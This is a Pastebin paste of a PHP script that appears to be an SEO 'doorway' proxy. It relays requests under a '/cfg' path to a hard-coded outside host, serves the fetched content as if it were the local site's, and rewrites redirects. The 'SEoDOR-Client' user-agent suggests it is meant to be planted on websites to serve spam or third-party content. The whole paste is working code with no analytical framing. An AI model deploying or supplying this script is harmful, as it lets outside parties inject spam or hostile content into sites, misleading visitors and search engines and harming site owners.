Advertisement
Guest User

Untitled

a guest
Sep 14th, 2014
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.17 KB | None | 0 0
  1. <?php
  2. $pathToDor = "/cfg";
  3. $myHost = "2.wfs.wf";
  4. $pathOnMyHost = "";
  5. $template = 'fhouse';
  6. $connect = 0; // (1 - cURL, 0 - Socket)
  7. $path = substr($_SERVER['REQUEST_URI'], strlen($pathToDor));
  8. $html = getContent($myHost, $pathOnMyHost.$path, $template,$pathToDor);
  9. if (strstr($path, ".css")) header('Content-Type: text/css; charset=utf-8');
  10. else if (strstr($path, ".png")) header('Content-Type: image/png');
  11. else if (strstr($path, ".jpg") || strstr($path, ".jpeg")) header('Content-Type: image/jpeg');
  12. else if (strstr($path, ".gif")) header('Content-Type: image/gif');
  13. else if (strstr($path, ".ico")) header("Content-type: image/x-icon");
  14. else if (strstr($path, ".xml")) header ('Content-type: text/xml; charset=utf-8');
  15. else if (strstr($path, ".txt")) header('Content-Type: text/plain; charset=utf-8');
  16. else if (strstr($path, "rss")) header ('Content-type: text/xml; charset=utf-8');
  17. else header('Content-Type: text/html; charset=utf-8');
  18.  
  19. echo($html);
  20.  
  21. function getContent($host, $path, $template, $pathToDor) {
  22.  
  23.     global $connect, $pathOnMyHost;
  24.     if ($connect) {
  25.    
  26.         $headers = array(
  27.             "Referer: http://".$_SERVER['HTTP_HOST']."/".$template.$pathToDor."/",
  28.             "Accept-language: en",
  29.             "User-Agent: SEoDOR-Client (pathOnMyHost-$pathOnMyHost)"
  30.         );
  31.        
  32.         $ch = curl_init();
  33.         curl_setopt($ch, CURLOPT_URL, 'http://'.$host.$path);
  34.         curl_setopt($ch, CURLOPT_HTTPHEADER, $headers );
  35.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  36.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15 );
  37.         curl_setopt($ch, CURLOPT_TIMEOUT, 15 );
  38.         return $result = curl_redir_exec( $ch );
  39.         curl_close($ch);
  40.     } else {
  41.         $buff = '';
  42.         $socket = @fsockopen($host, 80, $errno, $errstr);
  43.         if ($socket) {
  44.  
  45.             @fputs($socket, "GET {$path} HTTP/1.0\r\n");
  46.             @fputs($socket, "Host: {$host}\r\n");
  47.             @fputs($socket, "User-Agent: SEoDOR-Client (pathOnMyHost-$pathOnMyHost)\r\n");
  48.             @fputs($socket, "Referer: http://".$_SERVER['HTTP_HOST']."/".$template.$pathToDor."/\r\n");
  49.             @fputs($socket, "Connection: close\r\n\r\n");
  50.  
  51.             while (!@feof($socket)) {
  52.                 $buff .= @fgets($socket, 128);
  53.             }
  54.            
  55.             @fclose($socket);
  56.             $result = explode("\r\n\r\n", $buff, 2);
  57.                    
  58.             if (preg_match("~Location: (.*)~", $result[0], $m)) {
  59.                 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  60.                 header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
  61.                 header("Pragma: no-cache"); // HTTP/1.1
  62.                 header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
  63.                 header("HTTP/1.1 301 Moved Permanently");
  64.                 header("Location: ".str_replace($pathOnMyHost, '', $m[1]));exit;
  65.             }
  66.            
  67.             return $result[1];
  68.         } else return "";
  69.     }
  70. }
  71.  
  72. function curl_redir_exec($ch) {
  73.     global $pathOnMyHost;
  74.     static $curl_loops = 0;  
  75.     static $curl_max_loops = 20;  
  76.     if ($curl_loops   >= $curl_max_loops) {  
  77.         $curl_loops = 0;  
  78.         return FALSE;  
  79.     }
  80.     curl_setopt($ch, CURLOPT_HEADER, true);  
  81.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
  82.     $data = curl_exec($ch);  
  83.     list($header, $data) = explode("\r\n\r\n", $data, 2);  
  84.     $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);  
  85.     if ($http_code == 301 || $http_code == 302) {
  86.         $matches = array();  
  87.         preg_match("/Location:(.*?)\n/", $header, $matches);  
  88.         $url = @parse_url(trim(array_pop($matches)));
  89.         if (!$url) {
  90.             //couldn't process the url to redirect to  
  91.             $curl_loops = 0;  
  92.             return $data;  
  93.         }  
  94.         $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));  
  95.         if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];  
  96.         if (!$url['host']) $url['host'] = $last_url['host'];  
  97.         if (!$url['path']) $url['path'] = $last_url['path'];  
  98.        
  99.         //$new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
  100.         $new_url = $url['path'] . ($url['query']?'?'.$url['query']:'');
  101.        
  102.         header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  103.         header("Cache-Control: no-cache, must-revalidate");
  104.         header("Pragma: no-cache");
  105.         header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
  106.         header("HTTP/1.1 301 Moved Permanently");
  107.         header("Location: ".str_replace($pathOnMyHost, '', $new_url));exit;
  108.     } else {  
  109.         $curl_loops=0;  
  110.         return $data;  
  111.     }  
  112. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement